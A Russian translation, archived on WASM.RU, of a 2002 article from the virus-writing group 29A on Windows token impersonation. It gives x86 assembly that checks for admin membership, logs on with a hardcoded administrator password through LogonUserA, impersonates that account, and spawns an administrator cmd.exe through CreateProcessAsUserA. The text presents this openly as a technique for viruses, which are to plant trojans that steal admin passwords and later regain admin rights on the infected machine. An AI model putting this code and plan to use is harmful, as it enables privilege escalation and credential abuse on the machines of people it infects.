Ваш друг имперсонация

Дата публикации 27 июн 2002

Ваш друг имперсонация — Архив WASM.RU

.Введение.

Представьте ситуацию. Ваша программа выполняется не под правами администратора, но у вас есть пароль администратора (как его получить - смотрите в дpугой моей статье). У вас есть привилигии, которые вам нужны, и теперь вы думаете, что с ними делать? Ответом является имперсонация.

Давайте взглянем на определение имперсонации в MSDN:

- Имперсонация - это способность треда использовать другую информацию о безопасности, нежели та, что доступна процессу, который владеет тредом.

Существует много типов имперсонации, например DDE, именованные пайпы, RPC-имперсонация и так далее. Обычно имперсонация используется, когда серверу необходимо некоторое время действовать как клиент. Но мы используем этот метода, чтобы дать нашему треду права администратора и создать процесс, обладающий такими правами...

.Требуемые привилегии.

Сценарий использования имперсонации может выглядеть так: ваш вирус запускается под правами администратора и устанавливает троян, чтобы получить права администратора. Затем, будучи запущенным под правами обычного пользователя, он осуществляет имперсонацию и работает, как если бы был запущен администратором.

.Проверка.

Во-первых, мы хотим узнать, запущен ли ваш процесс под правами администратора или нет (бессмысленно проводить имперсонацию администратора, если вы уже им являетесь :smile3: ). Этот небольшой отрывок кода может вам помочь...

Код (Text):
  1.  
  2. - Проверка прав -
  3. ;-----------------------------------------------------------------------------
  4. ; Функция CheckTokenMemberShip находится в advapi32.dll
  5. ; Если используется для имперсоницированного токена (token), не возвратит
  6. ; правильного результата
  7.  
  8.     SECURITY_BUILTIN_DOMAIN_RID     equ 20h
  9.         DOMAIN_ALIAS_RID_ADMINS         equ     220h
  10.         SECURITY_NT_AUTHORITY           equ     5
  11.  
  12. ; на выходе: eax - булевое значение
  13. is_caller_admin proc    near
  14.         pushad
  15.         @SEH_SetupFrame
  16. <jmp is_caller_admin_end>
  17.  
  18.         @pushvar <dd    ?>
  19.         pop eax
  20.         and dword ptr [eax], 0
  21.         push eax
  22.         push eax
  23.         align 4
  24.         call $+24
  25.         db      0ffh, 25h, 60h
  26.         db      1                       ; создаем SID администратора
  27.         db      2
  28.         db      0, 0, 0, 0, 0, SECURITY_NT_AUTHORITY
  29.         dd      SECURITY_BUILTIN_DOMAIN_RID
  30.         dd      DOMAIN_ALIAS_RID_ADMINS
  31.         add dword ptr [esp], 3
  32.         push 0                          ; проверяем токен выполняющегося треда
  33.         call CheckTokenMembership       ; for admin SID
  34.  
  35.         pop eax
  36.         mov eax, dword ptr [eax]
  37.  
  38. is_caller_admin_end:
  39.         @SEH_RemoveFrame
  40.         mov dword ptr [esp.Pushad_eax], eax
  41.         popad
  42.         retn
  43. is_caller_admin endp
  44. ;-----------------------------------------------------------------------------

.Имперсонация выполняющегося треда.

Пусть у нас есть логин "adminstrator" с паролем "fucker". Во-первых, мы должны залогинить этого пользователя. Для этого мы используем функцию LogonUser, которая экспортируется из advpi32.dll. Давайте взглянем на прототип:

Код (Text):
  1.  
  2. BOOL LogonUser(
  3.   LPTSTR lpszUsername,    // имя пользователя
  4.   LPTSTR lpszDomain,      // домен или сервер
  5.   LPTSTR lpszPassword,    // пароль
  6.   DWORD dwLogonType,      // тип операции начала сеанса
  7.   DWORD dwLogonProvider,  // провайдер начала сеанса
  8.   PHANDLE phToken         // получает хэндл токенов
  9. );

В phToken мы получим хэндлы токенов, которые нам потребуются в дальнейшем. Провайдер начала сеанса будет null, т.е. по умолчанию. Тип начала сеанса будет LOGON32_LOGON_INTERACTIVE, пароль и имя пользователя очевидны. Домейн будет равен null. Теперь давайте взглянем на код.

Код (Text):
  1.  
  2. - Залогинивание пользователя -
  3. ;-----------------------------------------------------------------------------
  4.         LOGON32_LOGON_INTERACTIVE       equ     2
  5.  
  6.         @pushvar <htoken        dd      ?>
  7.         push 0
  8.         push LOGON32_LOGON_INTERACTIVE
  9.         @pushsz "fucker"
  10.         push 0
  11.         @pushsz "administrator"
  12.         call LogonUserA
  13. ;-----------------------------------------------------------------------------

Если все прошло хорошо, то теперь у нас есть токен имперсонации. Теперь мы будем использовать функцию ImpersonateLoggedOnUser, которая в конце концов объявит наш тред как имперсоницированный. Функция принимает один аргумент - токен.

Код (Text):
  1.  
  2. - Имперсонация пользователя -
  3. ;-----------------------------------------------------------------------------
  4.         push dword ptr [htoken]
  5.         call ImpersonateLoggedOnUser
  6. ;-----------------------------------------------------------------------------

Теперь наш тред запущен под правами администратора. Мы можем делать все, что нам нужно, а затем, когда мы закончим с этим и захотим вернуть себе обратно старые права, просто вызовем функцию RevertToSelf...

Код (Text):
  1.  
  2. - Возврат старых прав -
  3. ;-----------------------------------------------------------------------------
  4.         call dword ptr [ebp+tRevertToSelf]
  5. ;-----------------------------------------------------------------------------

.Создание нового процесса в имперсоницированном контексте безопасности.

Во-первых, мы должны залогиниться, как и в предыдущем случае. Просто используйте тот же код, что и в разделе - Залогинивание пользователя -. Мы будем использовать функцию CreateProcessAsUser, которая также экспортируется из advapi32.dll. Эта функция почти такая же, как и CreateProcess, но она принимает на один аргумент больше - токер.

Код (Text):
  1.  
  2. - Создание процесса с правами администратора -
  3. ;-----------------------------------------------------------------------------
  4.         GMEM_ZEROINIT           equ     040h
  5.  
  6.         push type(PROCESS_INFORMATION)+type(STARTUPINFO)
  7.         push GMEM_ZEROINIT
  8.         call GlobalAlloc
  9.         xchg eax, ebx
  10.  
  11.         xor eax,eax
  12.         push ebx
  13.         push ebx
  14.         add dword ptr [esp], type(PROCESS_INFORMATION)
  15.         push eax
  16.         push eax
  17.         push eax
  18.         push 1
  19.         push eax
  20.         push eax
  21.         @pushsz "cmd.exe";
  22.         push eax
  23.         push dword ptr [htoken]
  24.         call CreateProcessAsUserA
  25.  
  26.         push ebx
  27.         call GlobalFree
  28.  
  29.         push dword ptr [htoken]
  30.         call CloseHandle
  31. ;-----------------------------------------------------------------------------

Это отрывок кода запустит копию командного интерпретатора, который будет выполняться в контексте безопасности администратора...

.Напоследок.

Как вы можете видеть, имперсонация - это очень мощная вещь. Единственное слабое звено - это пароли. Но если вы найдете хороший путь, чтобы получить пароли (например, троян), тогда она станет вашим лучшим другом :smile3:. © Ratter/29A, пер. Aquila


0 1.083
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532